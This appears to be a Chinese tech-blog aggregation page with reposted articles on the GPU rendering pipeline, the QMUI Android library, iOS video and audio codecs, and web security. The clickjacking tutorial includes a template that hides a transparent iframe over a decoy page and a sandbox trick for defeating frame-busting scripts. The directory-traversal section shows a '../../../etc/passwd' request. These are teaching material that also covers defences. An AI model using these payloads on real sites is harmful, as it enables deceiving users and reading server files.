    光栅化就是将数据转化成可见像素的过程。


    GPU 则是执行转换过程的硬件部件。由于这个过程涉及到屏幕上的每一个像素,所以 GPU 被设计成了一个高度并行化的硬件部件。

    下面,我们来简单了解一下 GPU 的历史。

    GPU 历史

    GPU 还未出现前,PC 上的图形操作是由 视频图形阵列(VGA,Video Graphics Array) 控制器完成。VGA 控制器由连接到一定容量的DRAM上的存储控制器和显示产生器构成。

    1997 年,VGA 控制器开始具备一些 3D 加速功能,包括用于 三角形生成、光栅化、纹理贴图 和 阴影。

    2000 年,一个单片处图形处理器继承了传统高端工作站图形流水线的几乎每一个细节。因此诞生了一个新的术语 GPU 用来表示图形设备已经变成了一个处理器。

    随着时间的推移,GPU 的可编程能力愈发强大,其作为可编程处理器取代了固定功能的专用逻辑,同时保持了基本的 3D 图形流水线组织。

    近年来,GPU 增加了处理器指令和存储器硬件,以支持通用编程语言,并创立了一种编程环境,从而允许使用熟悉的语言(包括 C/C++)对 GPU 进行编程。

    如今,GPU 及其相关驱动实现了图形处理中的 OpenGL 和 DirectX 模型,从而允许开发者能够轻易地操作硬件。OpenGL 严格来说并不是常规意义上的 API,而是一个第三方标准(由 khronos 组织制定并维护),其严格定义了每个函数该如何执行,以及它们的输出值。至于每个函数内部具体是如何实现的,则由 OpenGL 库的开发者自行决定。实际 OpenGL 库的开发者通常是显卡的生产商。DirectX 则是由 Microsoft 提供一套第三方标准。

    GPU 图形渲染流水线


    GPU 图形渲染流水线的主要工作可以被划分为两个部分:

    把 3D 坐标转换为 2D 坐标

    把 2D 坐标转变为实际的有颜色的像素

    GPU 图形渲染流水线的具体实现可分为六个阶段,如下图所示。

    顶点着色器(Vertex Shader)
    形状装配(Shape Assembly),又称 图元装配
    几何着色器(Geometry Shader)
    光栅化(Rasterization)
    片段着色器(Fragment Shader)
    测试与混合(Tests and Blending)


    第一阶段,顶点着色器。该阶段的输入是 顶点数据(Vertex Data) 数据,比如以数组的形式传递 3 个 3D 坐标用来表示一个三角形。顶点数据是一系列顶点的集合。顶点着色器主要的目的是把 3D 坐标转为另一种 3D 坐标,同时顶点着色器可以对顶点属性进行一些基本处理。

    第二阶段,形状(图元)装配。该阶段将顶点着色器输出的所有顶点作为输入,并将所有的点装配成指定图元的形状。图中则是一个三角形。图元(Primitive) 用于表示如何渲染顶点数据,如:点、线、三角形。

    第三阶段,几何着色器。该阶段把图元形式的一系列顶点的集合作为输入,它可以通过产生新顶点构造出新的(或是其它的)图元来生成其他形状。例子中,它生成了另一个三角形。

    第四阶段,光栅化。该阶段会把图元映射为最终屏幕上相应的像素,生成片段。片段(Fragment) 是渲染一个像素所需要的所有数据。

    第五阶段,片段着色器。该阶段首先会对输入的片段进行 裁切(Clipping)。裁切会丢弃超出视图以外的所有像素,用来提升执行效率。

    第六阶段,测试与混合。该阶段会检测片段的对应的深度值(z 坐标),判断这个像素位于其它物体的前面还是后面,决定是否应该丢弃。此外,该阶段还会检查 alpha 值( alpha 值定义了一个物体的透明度),从而对物体进行混合。因此,即使在片段着色器中计算出来了一个像素输出的颜色,在渲染多个三角形的时候最后的像素颜色也可能完全不同。

    关于混合,GPU 采用如下公式进行计算,并得出最后的颜色。

    R = S + D * (1 - Sa)

    关于公式的含义,假设有两个像素 S(source) 和 D(destination),S 在 z 轴方向相对靠前(在上面),D 在 z 轴方向相对靠后(在下面),那么最终的颜色值就是 S(上面像素) 的颜色 + D(下面像素) 的颜色 * (1 - S(上面像素) 颜色的透明度)。

    上述流水线以绘制一个三角形为进行介绍,可以为每个顶点添加颜色来增加图形的细节,从而创建图像。但是,如果让图形看上去更加真实,需要足够多的顶点和颜色,相应也会产生更大的开销。为了提高生产效率和执行效率,开发者经常会使用 纹理(Texture) 来表现细节。纹理是一个 2D 图片(甚至也有 1D 和 3D 的纹理)。纹理一般可以直接作为图形渲染流水线的第五阶段的输入。

    最后,我们还需要知道上述阶段中的着色器事实上是一些程序,它们运行在 GPU 中成千上万的小处理器核中。这些着色器允许开发者进行配置,从而可以高效地控制图形渲染流水线中的特定部分。由于它们运行在 GPU 中,因此可以降低 CPU 的负荷。着色器可以使用多种语言编写,OpenGL 提供了 GLSL(OpenGL Shading Language) 着色器语言。

    GPU 存储系统

    早期的 GPU,不同的着色器对应有着不同的硬件单元。如今,GPU 流水线则使用一个统一的硬件来运行所有的着色器。此外,nVidia 还提出了 CUDA(Compute Unified Device Architecture) 编程模型,可以允许开发者通过编写 C 代码来访问 GPU 中所有的处理器核,从而深度挖掘 GPU 的并行计算能力。

    下图所示为 GPU 内部的层级结构。最底层是计算机的系统内存,其次是 GPU 的内部存储,然后依次是两级 cache:L2 和 L1,每个 L1 cache 连接至一个 流处理器(SM,stream processor)。

    SM L1 Cache 的存储容量大约为 16 至 64KB。

    GPU L2 Cache 的存储容量大约为几百 KB。

    GPU 的内存最大为 12GB。

    GPU 上的各级存储系统与对应层级的计算机存储系统相比要小不少。

    此外,GPU 内存并不具有一致性,也就意味着并不支持并发读取和并发写入。


    GPU 流处理器

    下图所示为 GPU 中每个流处理器的内部结构示意图。每个流处理器集成了一个 L1 Cache。顶部是处理器核共享的寄存器堆。


    CPU-GPU 异构系统

    至此,我们大致了解了 GPU 的工作原理和内部结构,那么实际应用中 CPU 和 GPU 又是如何协同工作的呢?

    下图所示为两种常见的 CPU-GPU 异构架构。

    左图是分离式的结构,CPU 和 GPU 拥有各自的存储系统,两者通过 PCI-e 总线进行连接。这种结构的缺点在于 PCI-e 相对于两者具有低带宽和高延迟,数据的传输成了其中的性能瓶颈。目前使用非常广泛,如PC、智能手机等。

    右图是耦合式的结构,CPU 和 GPU 共享内存和缓存。AMD 的 APU 采用的就是这种结构,目前主要使用在游戏主机中,如 PS4。

    注意,目前很多 SoC 都是集成了CPU 和 GPU,事实上这仅仅是在物理上进行了集成,并不意味着它们使用的就是耦合式结构,大多数采用的还是分离式结构。耦合式结构是在系统上进行了集成。

    在存储管理方面,分离式结构中 CPU 和 GPU 各自拥有独立的内存,两者共享一套虚拟地址空间,必要时会进行内存拷贝。对于耦合式结构,GPU 没有独立的内存,与 GPU 共享系统内存,由 MMU 进行存储管理。

    图形应用程序调用 OpenGL 或 Direct3D API 功能,将 GPU 作为协处理器使用。API 通过面向特殊 GPU 优化的图形设备驱动向 GPU 发送命令、程序、数据。

    GPU 资源管理模型

    下图所示为分离式异构系统中 GPU 的资源管理模型示意图。


    MMIO(Memory-Mapped I/O)

    CPU 通过 MMIO 访问 GPU 的寄存器状态。
    通过 MMIO 传送数据块传输命令,支持 DMA 的硬件可以实现块数据传输。

    GPU Context

    上下文表示 GPU 的计算状态,在 GPU 中占据部分虚拟地址空间。多个活跃态下的上下文可以在 GPU 中并存。

    CPU Channel

    来自 CPU 操作 GPU 的命令存储在内存中,并提交至 GPU channel 硬件单元。
    每个 GPU 上下文可拥有多个 GPU Channel。每个 GPU 上下文都包含 GPU channel 描述符(GPU 内存中的内存对象)。
    每个 GPU Channel 描述符存储了channel 的配置,如:其所在的页表。
    每个 GPU Channel 都有一个专用的命令缓冲区,该缓冲区分配在 GPU 内存中,通过 MMIO 对 CPU 可见。

    GPU 页表

    GPU 上下文使用 GPU 页表进行分配,该表将虚拟地址空间与其他地址空间隔离开来。
    GPU 页表与 CPU 页表分离,其驻留在 GPU 内存中,物理地址位于 GPU 通道描述符中。
    通过 GPU channel 提交的所有命令和程序都在对应的 GPU 虚拟地址空间中执行。
    GPU 页表将 GPU 虚拟地址不仅转换为 GPU 设备物理地址,还转换为主机物理地址。这使得 GPU 页面表能够将 GPU 存储器和主存储器统一到统一的 GPU 虚拟地址空间中,从而构成一个完成的虚拟地址空间。

    PFIFO Engine

    PFIFO 是一个提交 GPU 命令的特殊引擎。
    PFIFO 维护多个独立的命令队列,即 channel。
    命令队列是带有 put 和 get 指针的环形缓冲器。
    PFIFO 引擎会拦截多有对通道控制区域的访问以供执行。
    GPU 驱动使用一个通道描述符来存储关联通道的设置。

    BO

    缓冲对象(Buffer Object)。一块内存,可以用来存储纹理,渲染对象,着色器代码等等。

    CPU-GPU 工作流

    下图所示为 CPU-GPU 异构系统的工作流,当 CPU 遇到图像处理的需求时,会调用 GPU 进行处理,主要流程可以分为以下四步:

    1.将主存的处理数据复制到显存中

    2.CPU 指令驱动 GPU

    3.GPU 中的每个运算单元并行处理

    4.GPU 将显存结果传回主存


    屏幕图像显示原理

    介绍屏幕图像显示的原理,需要先从 CRT 显示器原理说起,如下图所示。CRT 的电子枪从上到下逐行扫描,扫描完成后显示器就呈现一帧画面。然后电子枪回到初始位置进行下一次扫描。为了同步显示器的显示过程和系统的视频控制器,显示器会用硬件时钟产生一系列的定时信号。当电子枪换行进行扫描时,显示器会发出一个水平同步信号(horizonal synchronization),简称 HSync;而当一帧画面绘制完成后,电子枪回复到原位,准备画下一帧前,显示器会发出一个垂直同步信号(vertical synchronization),简称 VSync。显示器通常以固定频率进行刷新,这个刷新率就是 VSync 信号产生的频率。虽然现在的显示器基本都是液晶显示屏了,但其原理基本一致。


    下图所示为常见的 CPU、GPU、显示器工作方式。CPU 计算好显示内容提交至 GPU,GPU 渲染完成后将渲染结果存入帧缓冲区,视频控制器会按照 VSync 信号逐帧读取帧缓冲区的数据,经过数据转换后最终由显示器进行显示。


    最简单的情况下,帧缓冲区只有一个。此时,帧缓冲区的读取和刷新都都会有比较大的效率问题。为了解决效率问题,GPU 通常会引入两个缓冲区,即 双缓冲机制。在这种情况下,GPU 会预先渲染一帧放入一个缓冲区中,用于视频控制器的读取。当下一帧渲染完毕后,GPU 会直接把视频控制器的指针指向第二个缓冲器。


    双缓冲虽然能解决效率问题,但会引入一个新的问题。当视频控制器还未读取完成时,即屏幕内容刚显示一半时,GPU 将新的一帧内容提交到帧缓冲区并把两个缓冲区进行交换后,视频控制器就会把新的一帧数据的下半段显示到屏幕上,造成画面撕裂现象,如下图:


    为了解决这个问题,GPU 通常有一个机制叫做垂直同步(简写也是 V-Sync),当开启垂直同步后,GPU 会等待显示器的 VSync 信号发出后,才进行新的一帧渲染和缓冲区更新。这样能解决画面撕裂现象,也增加了画面流畅度,但需要消费更多的计算资源,也会带来部分延迟。

    摘自:http://chuquan.me/2018/08/26/graphics-rending-principle-gpu

    收起阅读 »

    快速搭建Android项目-QMUI_Android

    QMUI Android 的设计目的是用于辅助快速搭建一个具备基本设计还原效果的 Android 项目,同时利用自身提供的丰富控件及兼容处理,让开发者能专注于业务需求而无需耗费精力在基础代码的设计上。不管是新项目的创建,或是已有项目的维护,均可使开发效率和项目...
    继续阅读 »

    QMUI Android 的设计目的是用于辅助快速搭建一个具备基本设计还原效果的 Android 项目,同时利用自身提供的丰富控件及兼容处理,让开发者能专注于业务需求而无需耗费精力在基础代码的设计上。不管是新项目的创建,或是已有项目的维护,均可使开发效率和项目质量得到大幅度提升。

    功能特性

    全局 UI 配置

    只需要修改一份配置表就可以调整 App 的全局样式,包括组件颜色、导航栏、对话框、列表等。一处修改,全局生效。

    丰富的 UI 控件

    提供丰富常用的 UI 控件,例如 BottomSheet、Tab、圆角 ImageView、下拉刷新等,使用方便灵活,并且支持自定义控件的样式。

    高效的工具方法

    提供高效的工具方法,包括设备信息、屏幕信息、键盘管理、状态栏管理等,可以解决各种常见场景并大幅度提升开发效率。

    开始使用

    qmui

    1. 引入库

    最新的库会上传到 JCenter 仓库上,请确保配置了 JCenter 仓库源,然后直接引用:

    implementation 'com.qmuiteam:qmui:2.0.0-alpha10'
    至此,QMUI 已被引入项目中。

    2. 配置主题

    把项目的 theme 的 parent 指向 QMUI.Compat,至此,QMUI 可以正常工作。

    3. 覆盖组件的默认表现

    你可以通过在项目中的 theme 中用 <item name="(name)">(value)</item> 的形式来覆盖 QMUI 组件的默认表现。具体可指定的属性名请参考 @style/QMUI.Compat 或 @style/QMUI 中的属性。

    arch

    1. 引入库

    最新的库会上传到 JCenter 仓库上,请确保配置了 JCenter 仓库源,然后直接引用:

    def qmui_arch_version = '2.0.0-alpha10'
    implementation "com.qmuiteam:arch:$qmui_arch_version"
    kapt "com.qmuiteam:arch-compiler:$qmui_arch_version" // use annotationProcessor if java

    2. 在 Application 里初始化

    override fun onCreate() {
    super.onCreate()
    QMUISwipeBackActivityManager.init(this)
    }

    然后就可以使用 arch 库提供的 QMUIFragment、QMUIFragmentActivity、QMUIActivity 来作为基础类构建自己的界面了。

    3. proguard

    -keep class **_FragmentFinder { *; }
    -keep class androidx.fragment.app.* { *; }

    -keep class com.qmuiteam.qmui.arch.record.RecordIdClassMap { *; }
    -keep class com.qmuiteam.qmui.arch.record.RecordIdClassMapImpl { *; }

    -keep class com.qmuiteam.qmui.arch.scheme.SchemeMap {*;}
    -keep class com.qmuiteam.qmui.arch.scheme.SchemeMapImpl {*;}

    代码下载:QMUI_Android-master.zip

    原文链接:https://github.com/Tencent/QMUI_Android


    收起阅读 »

    Web 安全 之 Clickjacking

    Clickjacking ( UI redressing )在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。什么是点击劫持点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了...
    继续阅读 »

    Clickjacking ( UI redressing )

    在本节中,我们将解释什么是 clickjacking 点击劫持,并描述常见的点击劫持攻击示例,以及讨论如何防御这些攻击。

    什么是点击劫持

    点击劫持是一种基于界面的攻击,通过诱导用户点击钓鱼网站中的被隐藏了的可操作的危险内容。

    例如:某个用户被诱导访问了一个钓鱼网站(可能是点击了电子邮件中的链接),然后点击了一个赢取大奖的按钮。实际情况则是,攻击者在这个赢取大奖的按钮下面隐藏了另一个网站上向其他账户进行支付的按钮,而结果就是用户被诱骗进行了支付。这就是一个点击劫持攻击的例子。这项技术实际上就是通过 iframe 合并两个页面,真实操作的页面被隐藏,而诱骗用户点击的页面则显示出来。点击劫持攻击与 CSRF 攻击的不同之处在于,点击劫持需要用户执行某种操作,比如点击按钮,而 CSRF 则是在用户不知情或者没有输入的情况下伪造整个请求。


    针对 CSRF 攻击的防御措施通常是使用 CSRF token(针对特定会话、一次性使用的随机数)。而点击劫持无法则通过 CSRF token 缓解攻击,因为目标会话是在真实网站加载的内容中建立的,并且所有请求均在域内发生。CSRF token 也会被放入请求中,并作为正常行为的一部分传递给服务器,与普通会话相比,差异就在于该过程发生在隐藏的 iframe 中。

    如何构造一个基本的点击劫持攻击

    点击劫持攻击使用 CSS 创建和操作图层。攻击者将目标网站通过 iframe 嵌入并隐藏。使用样式标签和参数的示例如下:

    <head>
    <style>
    #target_website {
    position:relative;
    width:128px;
    height:128px;
    opacity:0.00001;
    z-index:2;
    }
    #decoy_website {
    position:absolute;
    width:300px;
    height:400px;
    z-index:1;
    }
    </style>
    </head>
    ...
    <body>
    <div id="decoy_website">
    ...decoy web content here...
    </div>
    <iframe id="target_website" src="https://vulnerable-website.com">
    </iframe>
    </body>

    目标网站 iframe 被定位在浏览器中,使用适当的宽度和高度位置值将目标动作与诱饵网站精确重叠。无论屏幕大小,浏览器类型和平台如何,绝对位置值和相对位置值均用于确保目标网站准确地与诱饵重叠。z-index 决定了 iframe 和网站图层的堆叠顺序。透明度被设置为零,因此 iframe 内容对用户是透明的。浏览器可能会基于 iframe 透明度进行阈值判断从而自动进行点击劫持保护(例如,Chrome 76 包含此行为,但 Firefox 没有),但攻击者仍然可以选择适当的透明度值,以便在不触发此保护行为的情况下获得所需的效果。

    预填写输入表单

    一些需要表单填写和提交的网站允许在提交之前使用 GET 参数预先填充表单输入。由于 GET 参数在 URL 中,那么攻击者可以直接修改目标 URL 的值,并将透明的“提交”按钮覆盖在诱饵网站上。

    Frame 拦截脚本

    只要网站可以被 frame ,那么点击劫持就有可能发生。因此,预防性技术的基础就是限制网站 frame 的能力。比较常见的客户端保护措施就是使用 web 浏览器的 frame 拦截或清理脚本,比如浏览器的插件或扩展程序,这些脚本通常是精心设计的,以便执行以下部分或全部行为:

    • 检查并强制当前窗口是主窗口或顶部窗口
    • 使所有 frame 可见。
    • 阻止点击可不见的 frame
    • 拦截并标记对用户的潜在点击劫持攻击。

    Frame 拦截技术一般特定于浏览器和平台,且由于 HTML 的灵活性,它们通常也可以被攻击者规避。由于这些脚本也是 JavaScript ,浏览器的安全设置也可能会阻止它们的运行,甚至浏览器直接不支持 JavaScript 。攻击者也可以使用 HTML5 iframe 的 sandbox 属性去规避 frame 拦截。当 iframe 的 sandbox 设置为 allow-forms 或 allow-scripts,且 allow-top-navigation 被忽略时,frame 拦截脚本可能就不起作用了,因为 iframe 无法检查它是否是顶部窗口:

    <iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms"></iframe>

    当 iframe 的 allow-forms 和 allow-scripts 被设置,且 top-level 导航被禁用,这会抑制 frame 拦截行为,同时允许目标站内的功能。

    结合使用点击劫持与 DOM XSS 攻击

    到目前为止,我们把点击劫持看作是一种独立的攻击。从历史上看,点击劫持被用来执行诸如在 Facebook 页面上增加“点赞”之类的行为。然而,当点击劫持被用作另一种攻击的载体,如 DOM XSS 攻击,才能发挥其真正的破坏性。假设攻击者首先发现了 XSS 攻击的漏洞,则实施这种组合攻击就很简单了,只需要将 iframe 的目标 URL 结合 XSS ,以使用户点击按钮或链接,从而执行 DOM XSS 攻击。

    多步骤点击劫持

    攻击者操作目标网站的输入可能需要执行多个操作。例如,攻击者可能希望诱骗用户从零售网站购买商品,而在下单之前还需要将商品添加到购物篮中。为了实现这些操作,攻击者可能使用多个视图或 iframe ,这也需要相当的精确性,攻击者必须非常小心。

    如何防御点击劫持攻击

    我们在上文中已经讨论了一种浏览器端的预防机制,即 frame 拦截脚本。然而,攻击者通常也很容易绕过这种防御。因此,服务端驱动的协议被设计了出来,以限制浏览器 iframe 的使用并减轻点击劫持的风险。

    点击劫持是一种浏览器端的行为,它的成功与否取决于浏览器的功能以及是否遵守现行 web 标准和最佳实践。服务端的防御措施就是定义 iframe 组件使用的约束,然而,其实现仍然取决于浏览器是否遵守并强制执行这些约束。服务端针对点击劫持的两种保护机制分别是 X-Frame-Options 和 Content Security Policy 。

    X-Frame-Options

    X-Frame-Options 最初由 IE8 作为非官方的响应头引入,随后也在其他浏览器中被迅速采用。X-Frame-Options 头为网站所有者提供了对 iframe 使用的控制(就是说第三方网站不能随意的使用 iframe 嵌入你控制的网站),比如你可以使用 deny 直接拒绝所有 iframe 引用你的网站:

    X-Frame-Optionsdeny

    或者使用 sameorigin 限制为只有同源网站可以引用:

    X-Frame-Optionssameorigin

    或者使用 allow-from 指定白名单:

    X-Frame-Options: allow-from https://normal-website.com

    X-Frame-Options 在不同浏览器中的实现并不一致(比如,Chrome 76 或 Safari 12 不支持 allow-from)。然而,作为多层防御策略中的一部分,其与 Content Security Policy 结合使用时,可以有效地防止点击劫持攻击。

    Content Security Policy

    Content Security Policy (CSP) 内容安全策略是一种检测和预防机制,可以缓解 XSS 和点击劫持等攻击。CSP 通常是由 web 服务作为响应头返回,格式为:

    Content-Security-Policypolicy

    其中的 policy 是一个由分号分隔的策略指令字符串。CSP 向客户端浏览器提供有关允许的 Web 资源来源的信息,浏览器可以将这些资源应用于检测和拦截恶意行为。

    有关点击劫持的防御,建议在 Content-Security-Policy 中增加 frame-ancestors 策略。

    • frame-ancestors 'none' 类似于 X-Frame-Options: deny ,表示拒绝所有 iframe 引用。
    • frame-ancestors 'self' 类似于 X-Frame-Options: sameorigin ,表示只允许同源引用。

    示例:

    Content-Security-Policyframe-ancestors 'self';

    或者指定网站白名单:

    Content-Security-Policyframe-ancestors normal-website.com;

    为了有效地防御点击劫持和 XSS 攻击,CSP 需要进行仔细的开发、实施和测试,并且应该作为多层防御策略中的一部分使用。

    原文链接:https://segmentfault.com/a/1190000039341244

    收起阅读 »

    iOS 音视频编解码基本概念

    来看看视频里面到底有什么内容元素:图像(Image)⾳频(Audio)元信息(Metadata)编码格式: • Video: H264Audio: AAC视频相关基础概念1.视频文件格式相信大家平时接触的word文件后面带的.doc,图片后缀带有.png/.j...
    继续阅读 »

    来看看视频里面到底有什么


    内容元素:

    • 图像(Image)

    • ⾳频(Audio)

    • 元信息(Metadata)

    • 编码格式: • Video: H264

    • Audio: AAC

    • 视频相关基础概念


      1.视频文件格式相信大家平时接触的word文件后面带的.doc,图片后缀带有.png/.jpg等,我们常见的视频文件后缀有:.mov、.avi、.mpg、.vob、.mkv、.rm、.rmvb 等等。这些后缀名通常在操作系统上用相应的应用程序打开,比如.doc用word打开。对于视频来说,为什么会有这么多的文件格式了,那是因为通过了不同的方式来实现了视频这件事---------视频的封装格式。

      2.视频的封装格式

      视频封装格式,通常我们把它称作为视频格式,它相当于一种容器,比如可乐的瓶子,矿泉水瓶等等。它里面包含了视频的相关信息(视频信息,音频信息,解码方式等等),一种封装格式直接反应了视频的文件格式,封装格式:就是将已经编码压缩好的视频数据 和音频数据按照一定的格式放到一个文件中.这个文件可以称为容器. 当然可以理解为这只是一个外壳.通常我们不仅仅只存放音频数据和视频数据,还会存放 一下视频同步的元数据.例如字幕.这多种数据会不同的程序来处理,但是它们在传输和存储的时候,这多种数据都是被绑定在一起的.





      • 相关视频封装格式的优缺点:

        • 1.AVI 格式:这种视频格式的优点是图像质量好,无损 AVI 可以保存 alpha 通道。缺点是体积过于庞大,并且压缩标准不统一,存在较多的高低版本兼容问题。
        • 2.WMV 格式:可以直接在网上实时观看视频节目的文件压缩格式。在同等视频质量下,WMV 格式的文件可以边下载边播放,因此很适合在网上播放和传输。
        • 3.MPEG 格式:为了播放流式媒体的高质量视频而专门设计的,以求使用最少的数据获得最佳的图像质量。
        • 4.Matroska 格式:是一种新的视频封装格式,它可将多种不同编码的视频及 16 条以上不同格式的音频和不同语言的字幕流封装到一个 Matroska Media 文件当中。
        • 5.Real Video 格式:用户可以使用 RealPlayer 根据不同的网络传输速率制定出不同的压缩比率,从而实现在低速率的网络上进行影像数据实时传送和播放。
        • 6.QuickTime File Format 格式:是 Apple 公司开发的一种视频格式,默认的播放器是苹果的 QuickTime。这种封装格式具有较高的压缩比率和较完美的视频清晰度等特点,并可以保存 alpha 通道。
        • 7.Flash Video 格式: Adobe Flash 延伸出来的一种网络视频封装格式。这种格式被很多视频网站所采用。
      • 视频的编码格式

      • 视频编解码的过程是指对数字视频进行压缩或解压缩的一个过程.在做视频编解码时,需要考虑以下这些因素的平衡:

        • 视频的质量、
        • 用来表示视频所需要的数据量(通常称之为码率)、
        • 编码算法和解码算法的复杂度
        • 针对数据丢失和错误的鲁棒性(Robustness)
        • 编辑的方便性
        • 随机访问
        • 编码算法设计的完美性
        • 端到端的延时以及其它一些因素
      • 常见的编码方式:

      • H.26X 系列,由国际电传视讯联盟远程通信标准化组织(ITU-T)主导,包括 H.261、H.262、H.263、H.264、H.265

        • H.261,主要用于老的视频会议和视频电话系统。是第一个使用的数字视频压缩标准。实质上说,之后的所有的标准视频编解码器都是基于它设计的。
        • H.262,等同于 MPEG-2 第二部分,使用在 DVD、SVCD 和大多数数字视频广播系统和有线分布系统中。
        • H.263,主要用于视频会议、视频电话和网络视频相关产品。在对逐行扫描的视频源进行压缩的方面,H.263 比它之前的视频编码标准在性能上有了较大的提升。尤其是在低码率端,它可以在保证一定质量的前提下大大的节约码率。
        • H.264,等同于 MPEG-4 第十部分,也被称为高级视频编码(Advanced Video Coding,简称 AVC),是一种视频压缩标准,一种被广泛使用的高精度视频的录制、压缩和发布格式。该标准引入了一系列新的能够大大提高压缩性能的技术,并能够同时在高码率端和低码率端大大超越以前的诸标准。
        • H.265,被称为高效率视频编码(High Efficiency Video Coding,简称 HEVC)是一种视频压缩标准,是 H.264 的继任者。HEVC 被认为不仅提升图像质量,同时也能达到 H.264 两倍的压缩率(等同于同样画面质量下比特率减少了 50%),可支持 4K 分辨率甚至到超高画质电视,最高分辨率可达到 8192×4320(8K 分辨率),这是目前发展的趋势。
      • 当前不建议用H.265是因为太过于消耗CPU,而且目前H.264已经满足了大多的视频需求,虽然H.265是H.264的升级版,期待后续硬件跟上

      • MPEG 系列,由国际标准组织机构(ISO)下属的运动图象专家组(MPEG)开发。

        • MPEG-1 第二部分,主要使用在 VCD 上,有些在线视频也使用这种格式。该编解码器的质量大致上和原有的 VHS 录像带相当。
        • MPEG-2 第二部分,等同于 H.262,使用在 DVD、SVCD 和大多数数字视频广播系统和有线分布系统中。
        • MPEG-4 第二部分,可以使用在网络传输、广播和媒体存储上。比起 MPEG-2 第二部分和第一版的 H.263,它的压缩性能有所提高。
        • MPEG-4 第十部分,等同于 H.264,是这两个编码组织合作诞生的标准。
          其他,AMV、AVS、Bink、CineForm 等等,这里就不做多的介绍了。
      • 可以把「视频封装格式」看做是一个装着视频、音频、「视频编解码方式」等信息的容器。一种「视频封装格式」可以支持多种「视频编解码方式」,比如:QuickTime File Format(.MOV) 支持几乎所有的「视频编解码方式」,MPEG(.MP4) 也支持相当广的「视频编解码方式」。当我们看到一个视频文件名为 test.mov 时,我们可以知道它的「视频文件格式」是 .mov,也可以知道它的视频封装格式是 QuickTime File Format,但是无法知道它的「视频编解码方式」。那比较专业的说法可能是以 A/B 这种方式,A 是「视频编解码方式」,B 是「视频封装格式」。比如:一个 H.264/MOV 的视频文件,它的封装方式就是 QuickTime File Format,编码方式是 H.264

      • 音频编码方式

        • 视频中除了画面通常还有声音,所以这就涉及到音频编解码。在视频中经常使用的音频编码方式有

        • AAC,英文全称 Advanced Audio Coding,是由 Fraunhofer IIS、杜比实验室、AT&T、Sony等公司共同开发,在 1997 年推出的基于 MPEG-2 的音频编码技术。2000 年,MPEG-4 标准出现后,AAC 重新集成了其特性,加入了 SBR 技术和 PS 技术,为了区别于传统的 MPEG-2 AAC 又称为 MPEG-4 AAC。

        • MP3,英文全称 MPEG-1 or MPEG-2 Audio Layer III,是当曾经非常流行的一种数字音频编码和有损压缩格式,它被设计来大幅降低音频数据量。它是在 1991 年,由位于德国埃尔朗根的研究组织 Fraunhofer-Gesellschaft 的一组工程师发明和标准化的。MP3 的普及,曾对音乐产业造成极大的冲击与影响。

        • WMA,英文全称 Windows Media Audio,由微软公司开发的一种数字音频压缩格式,本身包括有损和无损压缩格式。

      直播/小视频中的编码格式

      • 视频编码格式

        • H264编码的优势:
          低码率
          高质量的图像
          容错能力强
          网络适应性强
      • 总结: H264最大的优势,具有很高的数据压缩比率,在同等图像质量下,H264的压缩比是MPEG-2的2倍以上,MPEG-4的1.5~2倍.
        举例: 原始文件的大小如果为88GB,采用MPEG-2压缩标准压缩后变成3.5GB,压缩比为25∶1,而采用H.264压缩标准压缩后变为879MB,从88GB到879MB,H.264的压缩比达到惊人的102∶1
        音频编码格式:

      • AAC是目前比较热门的有损压缩编码技术,并且衍生了LC-AAC,HE-AAC,HE-AAC v2 三种主要编码格式.

      • LC-AAC 是比较传统的AAC,主要应用于中高码率的场景编码(>= 80Kbit/s)

      • HE-AAC 主要应用于低码率场景的编码(<= 48Kbit/s)

      • 优势:在小于128Kbit/s的码率下表现优异,并且多用于视频中的音频编码,适合场景:于128Kbit/s以下的音频编码,多用于视频中的音频轨的编码

      关于H264

      • H.264 是现在广泛采用的一种编码方式。关于 H.264 相关的概念,从大到小排序依次是:序列、图像、片组、片、NALU、宏块、亚宏块、块、像素。

      • 图像

        • H.264 中,「图像」是个集合的概念,帧、顶场、底场都可以称为图像。一帧通常就是一幅完整的图像。

      当采集视频信号时,如果采用逐行扫描,则每次扫描得到的信号就是一副图像,也就是一帧。

      当采集视频信号时,如果采用隔行扫描(奇、偶数行),则扫描下来的一帧图像就被分为了两个部分,这每一部分就称为「场」,根据次序分为:「顶场」和「底场」。

      「帧」和「场」的概念又带来了不同的编码方式:帧编码、场编码逐行扫描适合于运动图像,所以对于运动图像采用帧编码更好;隔行扫描适合于非运动图像,所以对于非运动图像采用场编码更好

      • 片(Slice),每一帧图像可以分为多个片

      网络提取层单元(NALU, Network Abstraction Layer Unit),
      NALU 是用来将编码的数据进行打包的,一个分片(Slice)可以编码到一个 NALU 单元。不过一个 NALU 单元中除了容纳分片(Slice)编码的码流外,还可以容纳其他数据,比如序列参数集 SPS。对于客户端其主要任务则是接收数据包,从数据包中解析出 NALU 单元,然后进行解码播放。

      宏块(Macroblock),分片是由宏块组成。



      作者:枫紫_6174
      链接:https://www.jianshu.com/p/9602f3c9b82b



    收起阅读 »

    Web 安全 之 Directory traversal

    Directory traversal - 目录遍历在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。什么是目录遍历?目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程...
    继续阅读 »

    Directory traversal - 目录遍历

    在本节中,我们将介绍什么是目录遍历,描述如何执行路径遍历攻击和绕过常见障碍,并阐明如何防止路径遍历漏洞。


    什么是目录遍历?

    目录遍历(也称为文件路径遍历)是一个 web 安全漏洞,此漏洞使攻击者能够读取运行应用程序的服务器上的任意文件。这可能包括应用程序代码和数据、后端系统的凭据以及操作系统相关敏感文件。在某些情况下,攻击者可能能够对服务器上的任意文件进行写入,从而允许他们修改应用程序数据或行为,并最终完全控制服务器。

    通过目录遍历读取任意文件

    假设某个应用程序通过如下 HTML 加载图像:

    ![](/loadImage?filename=218.png)

    这个 loadImage URL 通过 filename 文件名参数来返回指定文件的内容,假设图像本身存储在路径为 /var/www/images/ 的磁盘上。应用程序基于此基准路径与请求的 filename 文件名返回如下路径的图像:

    /var/www/images/218.png

    如果该应用程序没有针对目录遍历攻击采取任何防御措施,那么攻击者可以请求类似如下 URL 从服务器的文件系统中检索任意文件:

    https://insecure-website.com/loadImage?filename=../../../etc/passwd

    这将导致如下路径的文件被返回:

    /var/www/images/../../../etc/passwd

    ../ 表示上级目录,因此这个文件其实就是:

    /etc/passwd

